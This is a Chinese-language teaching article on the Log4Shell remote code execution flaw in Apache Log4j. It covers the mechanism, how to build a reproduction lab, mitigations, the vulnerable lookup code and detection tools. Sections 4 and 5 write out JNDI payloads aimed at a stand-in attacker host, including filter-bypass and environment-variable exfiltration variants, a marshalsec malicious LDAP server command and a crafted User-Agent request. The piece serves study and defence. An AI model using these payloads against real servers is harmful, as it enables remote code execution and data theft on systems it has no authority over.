Log4jRCE漏洞分析
字数 1639 2025-08-07 08:21:54
Log4j RCE漏洞分析与利用教学文档
1. 漏洞概述
Log4j RCE漏洞(CVE-2021-44228)是2021年12月9日公开的一个Apache Log4j库中的远程代码执行漏洞,被称为"Log4Shell"。该漏洞影响广泛,被评定为CVSS 10.0最高严重等级。
2. 漏洞影响范围
- 受影响版本:Log4j 2.x <= 2.14.1
- 受影响应用:任何使用受影响版本Log4j进行日志记录的Java应用程序
- 已知受影响产品:Minecraft、百度、苹果AirPods等众多知名产品
3. 漏洞原理
3.1 JNDI注入
漏洞核心在于Log4j的JNDI (Java Naming and Directory Interface) 查找功能。当应用程序使用Log4j记录包含${}格式的字符串时,Log4j会执行"查找替换"操作。
3.2 攻击流程
- 攻击者构造恶意输入,如
${jndi:ldap://attacker.com/Exploit} - 应用程序使用Log4j记录该输入(如记录用户代理、请求参数等)
- Log4j解析
${}语法,执行JNDI查找 - 应用程序从攻击者控制的LDAP服务器下载并执行恶意代码
4. 漏洞利用细节
4.1 基本利用方式
最简单的利用形式:
${jndi:ldap://attacker.com/Exploit}
4.2 绕过技巧
-
大小写绕过:
${jNdI:ldap://attacker.com/Exploit} -
嵌套语法:
${${lower:j}ndi:ldap://attacker.com/Exploit} -
环境变量引用:
${jndi:ldap://attacker.com/${env:USER}.class}
4.3 高级利用技术
-
利用RMI协议:
${jndi:rmi://attacker.com/Exploit} -
利用DNS协议:
${jndi:dns://attacker.com/Exploit} -
利用HTTP协议:
${jndi:http://attacker.com/Exploit}
5. 漏洞复现环境搭建
5.1 所需工具
- 受影响版本的Log4j (2.0-beta9 <= version <= 2.14.1)
- Java运行环境
- 恶意LDAP服务器 (如marshalsec)
- 攻击载荷 (如Exploit.class)
5.2 复现步骤
-
搭建恶意LDAP服务器:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" -
准备Exploit.class文件,包含恶意代码
-
启动目标应用程序
-
发送恶意请求:
GET / HTTP/1.1 Host: vulnerable-app.com User-Agent: ${jndi:ldap://attacker-ip:1389/Exploit}
6. 漏洞防御方案
6.1 紧急缓解措施
-
升级Log4j:
- 升级到2.15.0或更高版本
-
设置系统属性:
System.setProperty("log4j2.formatMsgNoLookups", "true"); -
修改JVM参数:
-Dlog4j2.formatMsgNoLookups=true -
删除JndiLookup类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
6.2 长期防御策略
- 输入验证和过滤
- 网络隔离和访问控制
- 使用WAF规则拦截JNDI请求
- 实施最小权限原则
7. 漏洞分析
7.1 关键代码分析
漏洞位于org.apache.logging.log4j.core.lookup.JndiLookup类中:
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
try {
InitialContext ctx = new InitialContext();
Object obj = ctx.lookup(key);
return obj == null ? null : String.valueOf(obj);
} catch (NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", key, e);
return null;
}
}
7.2 漏洞触发流程
- 日志记录时调用
MessagePatternConverter.format() - 解析
${}语法 - 调用
StrSubstitutor.substitute() - 根据前缀调用相应Lookup (如jndi:)
- 执行JNDI查找并加载远程类
8. 相关CVE
- CVE-2021-44228 - 原始RCE漏洞 (Log4Shell)
- CVE-2021-45046 - 补丁绕过漏洞
- CVE-2021-45105 - DoS漏洞
- CVE-2021-44832 - RCE via JDBCAppender
9. 检测方法
9.1 手动检测
- 查找应用是否包含log4j-core-*.jar
- 检查版本号是否在受影响范围内
9.2 工具检测
-
log4j-scan:
python3 log4j-scan.py -u https://target.com -
Nuclei:
nuclei -t log4j-detection.yaml -target target.com -
Burp Suite插件:Log4jScanner
10. 实际案例分析
10.1 Minecraft案例
攻击者通过在游戏聊天中发送包含恶意JNDI查找的消息,利用服务器记录日志的功能触发漏洞。
10.2 苹果AirPods案例
攻击者通过修改设备名称包含JNDI payload,当设备连接时名称被记录到日志触发漏洞。
11. 总结
Log4j RCE漏洞因其易利用性、高危害性和广泛影响面成为2021年最严重的漏洞之一。理解其原理和利用方式对于防御类似漏洞至关重要。开发者应始终保持依赖库更新,并实施深度防御策略。